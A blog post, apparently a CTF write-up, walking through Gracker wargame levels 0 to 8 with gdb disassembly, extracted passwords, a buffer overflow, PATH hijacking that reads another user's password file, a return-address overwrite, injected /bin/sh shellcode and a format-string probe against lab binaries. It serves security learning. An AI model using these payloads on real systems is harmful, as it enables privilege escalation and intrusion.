Written by
ZyphenSVC

Share this post!

Tweet

← ../

Relearning CTF Logic I: Gracker

January 01, 20234 min read

Forenote

This first semester of university has progressed without me touching any cybersecurity from summer onwards. I forgotten a lot of content. This series will be an effort to relearn all content from scratch and also complete competitions as a deep dive into this world.

Gracker Level 0

Coming into the /gracker platform, we find that after reading the story that there is a program at /matrix/level0/level0. Let's run it.

 _____
| _ _ |
|| | || Hidden
||_|_||   Backdoor
| _ _ o  by 
|| | ||     ~Zero Cool
||_|_||  
|_____|

Enter Secret Password:
password
wrong!%

This is what we are greeted with.

In order to ensure relearning on this platform, I will be sticking to gdb as much as possible. So lets run gdb /matrix/level0/level0 and run info func to see the functions.

Out of these functions, main should stick out. Using disas main on this function let's us see the assembly code fo this.

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004007ed <+0>:     push   %rbp
   0x00000000004007ee <+1>:     mov    %rsp,%rbp
   0x00000000004007f1 <+4>:     sub    $0x40,%rsp
   0x00000000004007f5 <+8>:     mov    %edi,-0x34(%rbp)
   0x00000000004007f8 <+11>:    mov    %rsi,-0x40(%rbp)
   0x00000000004007fc <+15>:    mov    $0x400920,%edi
   0x0000000000400801 <+20>:    callq  0x4005e0 <puts@plt>
   0x0000000000400806 <+25>:    lea    -0x30(%rbp),%rax
   0x000000000040080a <+29>:    mov    $0x20,%edx
   0x000000000040080f <+34>:    mov    %rax,%rsi
   0x0000000000400812 <+37>:    mov    $0x0,%edi
   0x0000000000400817 <+42>:    callq  0x400650 <read@plt>
   0x000000000040081c <+47>:    movb   $0x0,-0x11(%rbp)
   0x0000000000400820 <+51>:    lea    -0x30(%rbp),%rax
   0x0000000000400824 <+55>:    mov    $0xa,%esi
   0x0000000000400829 <+60>:    mov    %rax,%rdi
   0x000000000040082c <+63>:    callq  0x400620 <strchr@plt>
   0x0000000000400831 <+68>:    mov    %rax,-0x8(%rbp)
   0x0000000000400835 <+72>:    cmpq   $0x0,-0x8(%rbp)
   0x000000000040083a <+77>:    je     0x400843 <main+86>
   0x000000000040083c <+79>:    mov    -0x8(%rbp),%rax
   0x0000000000400840 <+83>:    movb   $0x0,(%rax)
   0x0000000000400843 <+86>:    lea    -0x30(%rbp),%rax
   0x0000000000400847 <+90>:    mov    $0x600df0,%esi
   0x000000000040084c <+95>:    mov    %rax,%rdi
   0x000000000040084f <+98>:    callq  0x400670 <strcmp@plt>
   0x0000000000400854 <+103>:   test   %eax,%eax
   0x0000000000400856 <+105>:   jne    0x40086e <main+129>
   0x0000000000400858 <+107>:   mov    $0x4009a0,%edi
   0x000000000040085d <+112>:   callq  0x4005e0 <puts@plt>
   0x0000000000400862 <+117>:   mov    $0x0,%eax
   0x0000000000400867 <+122>:   callq  0x400796 <spawn_shell>
   0x000000000040086c <+127>:   jmp    0x40087d <main+144>
   0x000000000040086e <+129>:   mov    $0x400a19,%edi
   0x0000000000400873 <+134>:   mov    $0x0,%eax
   0x0000000000400878 <+139>:   callq  0x400630 <printf@plt>
   0x000000000040087d <+144>:   mov    $0x0,%eax
   0x0000000000400882 <+149>:   leaveq 
   0x0000000000400883 <+150>:   retq   
End of assembler dump.

We can run through this program, each line of the assembly, but that seems useless, the most import part is near the strcmp function.

   0x0000000000400843 <+86>:    lea    -0x30(%rbp),%rax
   0x0000000000400847 <+90>:    mov    $0x600df0,%esi
   0x000000000040084c <+95>:    mov    %rax,%rdi
   0x000000000040084f <+98>:    callq  0x400670 <strcmp@plt>
   0x0000000000400854 <+103>:   test   %eax,%eax
   0x0000000000400856 <+105>:   jne    0x40086e <main+129>
   0x0000000000400858 <+107>:   mov    $0x4009a0,%edi
   0x000000000040085d <+112>:   callq  0x4005e0 <puts@plt>

There is a pointer being moved into the memory at %esi. Let's check out what this pointer consists of.

(gdb) x/s 0x600df0
0x600df0 <secret_password>:     "s3cr3t_backd00r_passw0rd"

We got the password! Let's input it into the program and get the flag.

Gracker Level 1

This program was a bit more simplistic by asking us for a password and accepting or rejecting. However, there was a difference. It put the /bin/sh command in a different method, which means we can call it without issue.

This is the main method.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040083d <+0>:     push   %rbp
   0x000000000040083e <+1>:     mov    %rsp,%rbp
   0x0000000000400841 <+4>:     push   %rbx
   0x0000000000400842 <+5>:     sub    $0x48,%rsp
   0x0000000000400846 <+9>:     mov    %edi,-0x44(%rbp)
   0x0000000000400849 <+12>:    mov    %rsi,-0x50(%rbp)
   0x000000000040084d <+16>:    mov    $0x4009b0,%edi
   0x0000000000400852 <+21>:    callq  0x400620 <puts@plt>
   0x0000000000400857 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040085b <+30>:    mov    $0x20,%edx
   0x0000000000400860 <+35>:    mov    %rax,%rsi
   0x0000000000400863 <+38>:    mov    $0x0,%edi
   0x0000000000400868 <+43>:    callq  0x4006a0 <read@plt>
   0x000000000040086d <+48>:    movb   $0x0,-0x21(%rbp)
   0x0000000000400871 <+52>:    lea    -0x40(%rbp),%rax
   0x0000000000400875 <+56>:    mov    $0xa,%esi
   0x000000000040087a <+61>:    mov    %rax,%rdi
   0x000000000040087d <+64>:    callq  0x400670 <strchr@plt>
   0x0000000000400882 <+69>:    mov    %rax,-0x20(%rbp)
   0x0000000000400886 <+73>:    cmpq   $0x0,-0x20(%rbp)
   0x000000000040088b <+78>:    je     0x400894 <main+87>
   0x000000000040088d <+80>:    mov    -0x20(%rbp),%rax
   0x0000000000400891 <+84>:    movb   $0x0,(%rax)
   0x0000000000400894 <+87>:    movl   $0x0,-0x14(%rbp)
   0x000000000040089b <+94>:    jmp    0x4008c1 <main+132>
   0x000000000040089d <+96>:    mov    -0x14(%rbp),%eax
   0x00000000004008a0 <+99>:    cltq   
   0x00000000004008a2 <+101>:   movzbl 0x600e40(%rax),%eax
   0x00000000004008a9 <+108>:   movzbl 0x2005ad(%rip),%edx        # 0x600e5d <XORkey>
   0x00000000004008b0 <+115>:   xor    %eax,%edx
   0x00000000004008b2 <+117>:   mov    -0x14(%rbp),%eax
   0x00000000004008b5 <+120>:   cltq   
   0x00000000004008b7 <+122>:   mov    %dl,0x600e40(%rax)
   0x00000000004008bd <+128>:   addl   $0x1,-0x14(%rbp)
   0x00000000004008c1 <+132>:   mov    -0x14(%rbp),%eax
   0x00000000004008c4 <+135>:   movslq %eax,%rbx
   0x00000000004008c7 <+138>:   mov    $0x600e40,%edi
   0x00000000004008cc <+143>:   callq  0x400640 <strlen@plt>
   0x00000000004008d1 <+148>:   cmp    %rax,%rbx
   0x00000000004008d4 <+151>:   jb     0x40089d <main+96>
   0x00000000004008d6 <+153>:   lea    -0x40(%rbp),%rax
   0x00000000004008da <+157>:   mov    $0x600e40,%esi
   0x00000000004008df <+162>:   mov    %rax,%rdi
   0x00000000004008e2 <+165>:   callq  0x4006c0 <strcmp@plt>
   0x00000000004008e7 <+170>:   test   %eax,%eax
   0x00000000004008e9 <+172>:   jne    0x400901 <main+196>
   0x00000000004008eb <+174>:   mov    $0x4009e0,%edi
   0x00000000004008f0 <+179>:   callq  0x400620 <puts@plt>
   0x00000000004008f5 <+184>:   mov    $0x0,%eax
   0x00000000004008fa <+189>:   callq  0x4007e6 <spawn_shell>
---Type <return> to continue, or q <return> to quit---
   0x00000000004008ff <+194>:   jmp    0x400910 <main+211>
   0x0000000000400901 <+196>:   mov    $0x400a59,%edi
   0x0000000000400906 <+201>:   mov    $0x0,%eax
   0x000000000040090b <+206>:   callq  0x400680 <printf@plt>
   0x0000000000400910 <+211>:   mov    $0x0,%eax
   0x0000000000400915 <+216>:   add    $0x48,%rsp
   0x0000000000400919 <+220>:   pop    %rbx
   0x000000000040091a <+221>:   pop    %rbp
   0x000000000040091b <+222>:   retq   

We notice that there is a function call to spawn_shell, so let's check out the code to that.

(gdb) disas spawn_shell
Dump of assembler code for function spawn_shell:
   0x00000000004007e6 <+0>:     push   %rbp
   0x00000000004007e7 <+1>:     mov    %rsp,%rbp
   0x00000000004007ea <+4>:     sub    $0x10,%rsp
   0x00000000004007ee <+8>:     callq  0x4006e0 <getegid@plt>
   0x00000000004007f3 <+13>:    mov    %eax,-0x4(%rbp)
   0x00000000004007f6 <+16>:    callq  0x400690 <geteuid@plt>
   0x00000000004007fb <+21>:    mov    %eax,-0x8(%rbp)
   0x00000000004007fe <+24>:    mov    -0x4(%rbp),%edx
   0x0000000000400801 <+27>:    mov    -0x4(%rbp),%ecx
   0x0000000000400804 <+30>:    mov    -0x4(%rbp),%eax
   0x0000000000400807 <+33>:    mov    %ecx,%esi
   0x0000000000400809 <+35>:    mov    %eax,%edi
   0x000000000040080b <+37>:    mov    $0x0,%eax
   0x0000000000400810 <+42>:    callq  0x400650 <setresgid@plt>
   0x0000000000400815 <+47>:    mov    -0x8(%rbp),%edx
   0x0000000000400818 <+50>:    mov    -0x8(%rbp),%ecx
   0x000000000040081b <+53>:    mov    -0x8(%rbp),%eax
   0x000000000040081e <+56>:    mov    %ecx,%esi
   0x0000000000400820 <+58>:    mov    %eax,%edi
   0x0000000000400822 <+60>:    mov    $0x0,%eax
   0x0000000000400827 <+65>:    callq  0x400630 <setresuid@plt>
   0x000000000040082c <+70>:    mov    $0x4009a8,%edi
   0x0000000000400831 <+75>:    mov    $0x0,%eax
   0x0000000000400836 <+80>:    callq  0x400660 <system@plt>
   0x000000000040083b <+85>:    leaveq 
   0x000000000040083c <+86>:    retq   
End of assembler dump.

This shows that there is not a a jne or jz code in our disassembly, which means we can call the function with no problems. Let's do that.

(gdb) b main
Breakpoint 1 at 0x400841
(gdb) r
Starting program: /matrix/level1/level1 

Breakpoint 1, 0x0000000000400841 in main ()
(gdb) jump *0x4007e6
Continuing at 0x4007e6.
$

However, I noticed that this logged me in as level1, which is not what we wanted.

OK then... I will solve this the real way. Let's set a breakpoint at the strcmp and find the value it is comparing against.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040083d <+0>:     push   %rbp
   0x000000000040083e <+1>:     mov    %rsp,%rbp
   0x0000000000400841 <+4>:     push   %rbx
   0x0000000000400842 <+5>:     sub    $0x48,%rsp
   0x0000000000400846 <+9>:     mov    %edi,-0x44(%rbp)
   0x0000000000400849 <+12>:    mov    %rsi,-0x50(%rbp)
   0x000000000040084d <+16>:    mov    $0x4009b0,%edi
   0x0000000000400852 <+21>:    callq  0x400620 <puts@plt>
   0x0000000000400857 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040085b <+30>:    mov    $0x20,%edx
   0x0000000000400860 <+35>:    mov    %rax,%rsi
   0x0000000000400863 <+38>:    mov    $0x0,%edi
   0x0000000000400868 <+43>:    callq  0x4006a0 <read@plt>
   0x000000000040086d <+48>:    movb   $0x0,-0x21(%rbp)
   0x0000000000400871 <+52>:    lea    -0x40(%rbp),%rax
   0x0000000000400875 <+56>:    mov    $0xa,%esi
   0x000000000040087a <+61>:    mov    %rax,%rdi
   0x000000000040087d <+64>:    callq  0x400670 <strchr@plt>
   0x0000000000400882 <+69>:    mov    %rax,-0x20(%rbp)
   0x0000000000400886 <+73>:    cmpq   $0x0,-0x20(%rbp)
   0x000000000040088b <+78>:    je     0x400894 <main+87>
   0x000000000040088d <+80>:    mov    -0x20(%rbp),%rax
   0x0000000000400891 <+84>:    movb   $0x0,(%rax)
   0x0000000000400894 <+87>:    movl   $0x0,-0x14(%rbp)
   0x000000000040089b <+94>:    jmp    0x4008c1 <main+132>
   0x000000000040089d <+96>:    mov    -0x14(%rbp),%eax
   0x00000000004008a0 <+99>:    cltq   
   0x00000000004008a2 <+101>:   movzbl 0x600e40(%rax),%eax
   0x00000000004008a9 <+108>:   movzbl 0x2005ad(%rip),%edx        # 0x600e5d <XORkey>
   0x00000000004008b0 <+115>:   xor    %eax,%edx
   0x00000000004008b2 <+117>:   mov    -0x14(%rbp),%eax
   0x00000000004008b5 <+120>:   cltq   
   0x00000000004008b7 <+122>:   mov    %dl,0x600e40(%rax)
   0x00000000004008bd <+128>:   addl   $0x1,-0x14(%rbp)
   0x00000000004008c1 <+132>:   mov    -0x14(%rbp),%eax
   0x00000000004008c4 <+135>:   movslq %eax,%rbx
   0x00000000004008c7 <+138>:   mov    $0x600e40,%edi
   0x00000000004008cc <+143>:   callq  0x400640 <strlen@plt>
   0x00000000004008d1 <+148>:   cmp    %rax,%rbx
   0x00000000004008d4 <+151>:   jb     0x40089d <main+96>
   0x00000000004008d6 <+153>:   lea    -0x40(%rbp),%rax
   0x00000000004008da <+157>:   mov    $0x600e40,%esi
   0x00000000004008df <+162>:   mov    %rax,%rdi
=> 0x00000000004008e2 <+165>:   callq  0x4006c0 <strcmp@plt>
   0x00000000004008e7 <+170>:   test   %eax,%eax
   0x00000000004008e9 <+172>:   jne    0x400901 <main+196>
   0x00000000004008eb <+174>:   mov    $0x4009e0,%edi
   0x00000000004008f0 <+179>:   callq  0x400620 <puts@plt>
   0x00000000004008f5 <+184>:   mov    $0x0,%eax
   0x00000000004008fa <+189>:   callq  0x4007e6 <spawn_shell>
---Type <return> to continue, or q <return> to quit---q
Quit

The value we want to look at now is the pointer $0x600e40,

(gdb) x/s 0x600e40
0x600e40 <secret_password>:     "n0b0dy_gu3sses_thi5_passw0rd"

Let's run this program in the terminal with the new password, and get the flag.

Gracker Level 2

~Zero Cool Simple Backdoor v3~
Enter Password:
password
wrong!%

The story said it was similar to the last level, but a slight modification. Let's try the same method again then.

(gdb) b *0x00000000004008e0
Breakpoint 1 at 0x4008e0
(gdb) b main
Breakpoint 2 at 0x400841
(gdb) r
Starting program: /matrix/level2/level2 

Breakpoint 2, 0x0000000000400841 in main ()
(gdb) c
Continuing.
~Zero Cool Simple Backdoor v3~
Enter Password:
password

Breakpoint 1, 0x00000000004008e0 in main ()
(gdb) x/s 0x600e60
0x600e60 <secret_password>:     ")q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r"
(gdb) 

Interesting, it is still encrypted. What seems to be happening is that our encrypted string is being compared to the password also encrypted. So let's go to the xor, and find the actual string.

Inputting )q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r as the password will hopefully get us the xor of the password.

(gdb) b *0x00000000004008e0
Breakpoint 1 at 0x4008e0
(gdb) r
Starting program: /matrix/level2/level2 
~Zero Cool Simple Backdoor v3~
Enter Password:
)q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r

Breakpoint 1, 0x00000000004008e0 in main ()
(gdb) 036'q--q6(/&\036,r
Undefined command: "036".  Try "help".
(gdb) x/s 0x600e60
0x600e60 <secret_password>:     ")q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r"
(gdb) print $esi
$1 = 6295136
(gdb) x/s $esi
0x600e60 <secret_password>:     ")q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r"
(gdb) x/s $rax
0x7fffffffeac0: "h0w\035qrwis\035qrw\035qwth1s\035qrwh4\035ck3r"
(gdb) x/s $rdi
0x7fffffffeac0: "h0w\035qrwis\035qrw\035qwth1s\035qrwh4\035ck3r"

Oooo, this is interesting. I noted that there is \x035 being repeated throughout the password. So let's fix this in the secret.

Let's input a password of )q66(26A)p26u"*r36'q--q6(/&6,r", and this time we get a secret of h0wwisw. Wait a minute... isnt this similar to:

(gdb) x/s $rax
0x7fffffffeac0: "h0w\035qrwis\035qrw\035qwth1s\035qrwh4\035ck3r"

Let's extract the unique characters from that register. h0wwiswth1swh4ck3r, and I took note that every w can be a position of _. So we are left with h0w_is_th1s_h4ck3r.

When inputted as the password, we get the origins to the old xor. )q6\036(2\036\065)p2\036)u\"*r3. That's great!

By appending the rest of the string from the encrypted secret_passsword, we are getting closer to the real message.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /matrix/level2/level2 
~Zero Cool Simple Backdoor v3~
Enter Password:
h0w_is_th1s_h4ck3r_'q--q6(/&_,r"

Breakpoint 3, 0x00000000004008e0 in main ()
(gdb) 
(gdb) x/s $rax
0x7fffffffeac0: ")q6\036(2\036\065)p2\036)u\"*r3\036f0ll0wing\036m3"

Let's input these last two parts.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /matrix/level2/level2 
~Zero Cool Simple Backdoor v3~
Enter Password:
h0w_is_th1s_h4ck3r_f0ll0wing_m3

Breakpoint 3, 0x00000000004008e0 in main ()
(gdb) x/s $rax
0x7fffffffeac0: ")q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r"
(gdb) 
(gdb) c
Continuing.
Correct! Here is the level3 shell.
Read the level3 password in /home/level3/.pass to login with `ssh [email protected]`
$ 

We got the shell!

Reading the recap in the next level this is the solution:

>>> pw = ""
>>> for c in ")q6\036(2\036\065)p2\036)u\"*r3\036'q--q6(/&\036,r":
...  pw += chr(ord(c)^0x41)
...
>>> print pw
h0w_is_th1s_h4ck3r_f0ll0wing_m3

This is a lot simpler than I though :v.

Gracker Level 3

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000400718 <+0>:     push   %rbp
   0x0000000000400719 <+1>:     mov    %rsp,%rbp
   0x000000000040071c <+4>:     sub    $0x60,%rsp
   0x0000000000400720 <+8>:     mov    %edi,-0x54(%rbp)
   0x0000000000400723 <+11>:    mov    %rsi,-0x60(%rbp)
   0x0000000000400727 <+15>:    movl   $0x0,-0x4(%rbp)
   0x000000000040072e <+22>:    mov    $0x400800,%edi
   0x0000000000400733 <+27>:    callq  0x400540 <puts@plt>
   0x0000000000400738 <+32>:    lea    -0x50(%rbp),%rax
   0x000000000040073c <+36>:    mov    %rax,%rdi
   0x000000000040073f <+39>:    callq  0x4005b0 <gets@plt>
   0x0000000000400744 <+44>:    mov    -0x4(%rbp),%eax
   0x0000000000400747 <+47>:    test   %eax,%eax
   0x0000000000400749 <+49>:    je     0x400761 <main+73>
   0x000000000040074b <+51>:    mov    $0x400828,%edi
   0x0000000000400750 <+56>:    callq  0x400540 <puts@plt>
   0x0000000000400755 <+61>:    mov    $0x0,%eax
   0x000000000040075a <+66>:    callq  0x4006c6 <spawn_shell>
   0x000000000040075f <+71>:    jmp    0x40076b <main+83>
   0x0000000000400761 <+73>:    mov    $0x400891,%edi
   0x0000000000400766 <+78>:    callq  0x400540 <puts@plt>
   0x000000000040076b <+83>:    leaveq 
   0x000000000040076c <+84>:    retq   
End of assembler dump.
(gdb) 

Surprisingly this works.

Zero Cool - Bugdoor v4
Enter Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
How can this happen? The variable is set to 0 and is never modified in between O.o
You must be a hacker!
$ 

Upon reading the recap of the next level, this is the logic behind it all.

gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400718 <+0>:     push   rbp
   0x0000000000400719 <+1>:     mov    rbp,rsp
   0x000000000040071c <+4>:     sub    rsp,0x60
   0x0000000000400720 <+8>:     mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400723 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000400727 <+15>:    mov    DWORD PTR [rbp-0x4],0x0    ; this seems to be the location of the admin_enabled variable. Because it's set to 0.
   0x000000000040072e <+22>:    mov    edi,0x400800
   0x0000000000400733 <+27>:    call   0x400540 <puts@plt>
   0x0000000000400738 <+32>:    lea    rax,[rbp-0x50]
   0x000000000040073c <+36>:    mov    rdi,rax
   0x000000000040073f <+39>:    call   0x4005b0 <gets@plt>
   0x0000000000400744 <+44>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400747 <+47>:    test   eax,eax                    ; set breakpoint here. after the gets(), and the admin_enabled variable is loaded into eax
   0x0000000000400749 <+49>:    je     0x400761 <main+73>
   0x000000000040074b <+51>:    mov    edi,0x400828
   0x0000000000400750 <+56>:    call   0x400540 <puts@plt>
   0x0000000000400755 <+61>:    mov    eax,0x0
   0x000000000040075a <+66>:    call   0x4006c6 <spawn_shell>
   0x000000000040075f <+71>:    jmp    0x40076b <main+83>
   0x0000000000400761 <+73>:    mov    edi,0x400891
   0x0000000000400766 <+78>:    call   0x400540 <puts@plt>
   0x000000000040076b <+83>:    leave
   0x000000000040076c <+84>:    ret
End of assembler dump.
(gdb) break *0x0000000000400747
Breakpoint 1 at 0x400747
(gdb) r
Starting program: /matrix/level3/level3
Zero Cool - Bugdoor v4
Enter Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                             ; let's put in a bunch of A. 

Breakpoint 1, 0x0000000000400747 in main ()
(gdb) x/32x $rsp                                                   ; then we look at the stack after the input was placed in the buffer
0x7fff97737820: 0x97737968  0x00007fff  0x412b44c0  0x00000001     ; all those 0x41 are our "A". The ascii character A has the value 65
0x7fff97737830: 0x41414141  0x41414141  0x41414141  0x41414141     ; or 0x41 in hex. You can see all ascii values with `man ascii`
0x7fff97737840: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fff97737850: 0x41414141  0x00004141  0x00000000  0x00000000
0x7fff97737860: 0x00400770  0x00000000  0x004005d0  0x00000000
0x7fff97737870: 0x97737960  0x00007fff  0x00000000  0x00000000
0x7fff97737880: 0x00000000  0x00000000  0x40d0db45  0x00007fce
0x7fff97737890: 0x00000000  0x00000000  0x97737968  0x00007fff
(gdb) x $rbp-0x4                                                   ; read the admin_enabled variable
0x7fff9773787c: 0x00000000
(gdb) info register eax                                            ; just to make sure. This is admin_enabled loaded into eax for the test branch
eax            0x0  0                                              ; but it's still 0.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /matrix/level3/level3
Zero Cool - Bugdoor v4                                             ; now let's restart and put in a bunch more
Enter Password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0000000000400747 in main ()
(gdb) x/32x $rsp                                                   ; stack looks very full with As
0x7ffe1e40c2b0: 0x1e40c3f8  0x00007ffe  0xfbecb4c0  0x00000001
0x7ffe1e40c2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c2d0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c2e0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c2f0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c300: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c310: 0x41414141  0x41414141  0x41414141  0x41414141
0x7ffe1e40c320: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) x $rbp-0x4                                                   ; and it looks like that admin_enabled got overwritten with AAAA as well.
0x7ffe1e40c30c: 0x41414141
(gdb) info register eax                                            ; yup. eax is not 0 anymore.
eax            0x41414141   1094795585
(gdb)

Gracker Level 4

This was a bit complicated, but after a bit of research I was able to reset the environment variable, PATH, and create files in the /tmp/ directory to replace the commands used in the program.

level4@gracker:~$ touch /tmp/uname
level4@gracker:~$ cat /tmp/uname
#!/bin/bash
/bin/sh
level4@gracker:~$ export
HOME=/home/level4
LANG=en_US.UTF-8
LANGUAGE=en_US:en
LC_ALL=en_US.UTF-8
LOGNAME=level4
MAIL=/var/mail/level4
PATH=/usr/sbin/:/sbin/:/usr/local/bin:/usr/bin:/bin:/usr/games
SHELL=/usr/bin/zsh
SSH_CLIENT='71.140.148.118 55926 22'
SSH_CONNECTION='71.140.148.118 55926 5.45.103.62 22'
SSH_TTY=/dev/pts/4
TERM=xterm-256color
USER=level4
XDG_RUNTIME_DIR=/run/user/1004
XDG_SESSION_ID=34440
level4@gracker:~$ PATH=/tmp /matrix/level4/level4 
Zero Cool - Linux Information Gathering Tool v1.2

[*] Get system information:
sh: 1: uname: Permission denied

[*] Find users available on this system:
sh: 1: cut: Permission denied

[*] Search for setuid binaries:
ls
ls
^C%                                                                                                                  level4@gracker:~$ chmod 777 /tmp/uname
level4@gracker:~$ PATH=/tmp /matrix/level4/level4
Zero Cool - Linux Information Gathering Tool v1.2

[*] Get system information:
sh: 1: uname: Permission denied

[*] Find users available on this system:
sh: 1: cut: Permission denied

[*] Search for setuid binaries:
ls
cat
level4@gracker:~$ nano /tmp/uname               
level4@gracker:~$ PATH=/tmp /matrix/level4/level4
Zero Cool - Linux Information Gathering Tool v1.2

[*] Get system information:
sh: 1: uname: Permission denied

[*] Find users available on this system:
sh: 1: cut: Permission denied

[*] Search for setuid binaries:
FLAG
level4@gracker:~$ cat /tmp/uname
#!/bin/sh
/bin/cat /home/level5/.pass

Gracker Level 5

It wants us to run an nmap scan. This is great! I remember how to do this.

level5@gracker:~$ python -c "print int(0x5ad)"
1453
level5@gracker:~$ python -c "print int(0xdad)"
3501
level5@gracker:~$ nmap -sS -sC -sV -p1453-3501 localhost
You requested a scan type which requires root privileges.
QUITTING!
level5@gracker:~$ nmap -sC -sV -p1453-3501 localhost
[TOOK TOO LONG]
level5@gracker:~$ nmap -p1453-3501 127.0.0.1    

Starting Nmap 6.47 ( http://nmap.org ) at 2022-12-30 18:19 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (1.00s latency).
Not shown: 2048 closed ports
PORT     STATE SERVICE
2989/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 98.53 seconds

Port 2989 is open. Let's attempt to connect to it using netcat.

level5@gracker:~$ nc localhost 2989
$ whoami
flynn
$ uname -a
SolarOs 4.0.1 Generic_50203-02 sun4m i386
Unknown.Unknown
$ login -n root
Login incorrect
login: backdoor
No home directory specified in password file!
Logging in with home=/
# bin/history
  499 kill 2208
  500 ps -a -x -u
  501 touch /opt/LLL/run/ok
  502 LLLSDLaserControl -ok 1
# ls
# ls -la
# 
Broadcast message from ZeroCool@h4xx0r (pts/0) (Oct 21 16:29:00 2015):

You are too slow.
Mess With the Best, Die Like the Rest!

This is odd... We are unable to run any commands.

Messing around for a while got me to this result.

# bin/history
  499 kill 2208
  500 ps -a -x -u
  501 touch /opt/LLL/run/ok
  502 LLLSDLaserControl -ok 1
# LLLSDLaserControl
You entered the Grid!

level6@TRON:~$ %

However, it continued to log me out. We seem to have a need to work on speed. Having the commands on speeddial (copy and paste), I was able to get the FLAG.

Gracker Level 6

level6@gracker:~$ /matrix/level6/level6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:
Return to: 0x8004141

This is a case of return pointers being expressed through this program. But note that the 0x41 indicates the A's I inputted into the parameters.

Pulling up gdb allows us to get to this method pointer to return.

(gdb) info func
All defined functions:

Non-debugging symbols:
0x080483a0  _init
0x080483e0  setresuid@plt
0x080483f0  printf@plt
0x08048400  geteuid@plt
0x08048410  getegid@plt
0x08048420  strcpy@plt
0x08048430  puts@plt
0x08048440  system@plt
0x08048450  __gmon_start__@plt
0x08048460  exit@plt
0x08048470  __libc_start_main@plt
0x08048480  setresgid@plt
0x08048490  _start
0x080484c0  __x86.get_pc_thunk.bx
0x080484d0  deregister_tm_clones
0x08048500  register_tm_clones
0x08048540  __do_global_dtors_aux
0x08048560  frame_dummy
0x0804858b  spawn_shell
0x080485eb  gates_of_arjia
0x08048619  main
0x080486a0  __libc_csu_init
0x08048710  __libc_csu_fini
0x08048714  _fini
(gdb) quit

spawn_shell is our pointer, so let's route it using endianess.

level6@gracker:~$ /matrix/level6/level6 `echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x85\x04\x08'`    
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:
Return to: 0x804858b
Welcome to Arjia City!
$ whoami
level7
$ 

Gracker Level 7

This level featured involving using shellcode, this is easy. Just go find any /bin/bash or /bin/sh scripts from shell-storm. This was mine. Then we can input it into the program as such:

level7@gracker:~$ /matrix/level7/level7 `echo "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x1\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"`
Hello user.
You can create a new program in the TRON system that will live in Arjia City:
bash-4.3$ ls
iwashere  recap  story  welcome
bash-4.3$ whoami
level8

Gracker Level 8

Let's create our own test binary in /tmp

    level8@gracker:/matrix/level8$ cd /tmp
    level8@gracker:/tmp$ mkdir l8tmp
    level8@gracker:/tmp$ cd l8tmp
    level8@gracker:/tmp/l8tmp$ cp /matrix/level8/level8.c .
    level8@gracker:/tmp/l8tmp$ vim level8.c # modify sourcecode file path
    level8@gracker:/tmp/l8tmp$ cat level8.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <fcntl.h>

    // gcc level8.c -o level8 -m32

    int main() {
        char *pos;
        char buffer[512];
        char password[32];

        int fp = open("pass", O_RDONLY);

        read(fp, password, 32);
        if ((pos=strchr(password, '\n')) != NULL) *pos = '\0';
        password[31] = '\0';

        printf("What is your name?\n");
        fflush(stdout);
        fgets(buffer, sizeof(buffer), stdin);
        if ((pos=strchr(buffer, '\n')) != NULL) *pos = '\0';
        password[511] = '\0';

        printf(buffer);

        if(strcmp(buffer,password)==0) {
            printf("\ncorrect! come in.\n");
        } else{
            printf("\nYou must be an Obj-C programmer. GET OUT OF HERE!\n");
        }
    }
    level8@gracker:/tmp/l8tmp$ echo "1234AAAABCDE" > pass
    level8@gracker:/tmp/l8tmp$ ./level8
    What is your name?
    %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
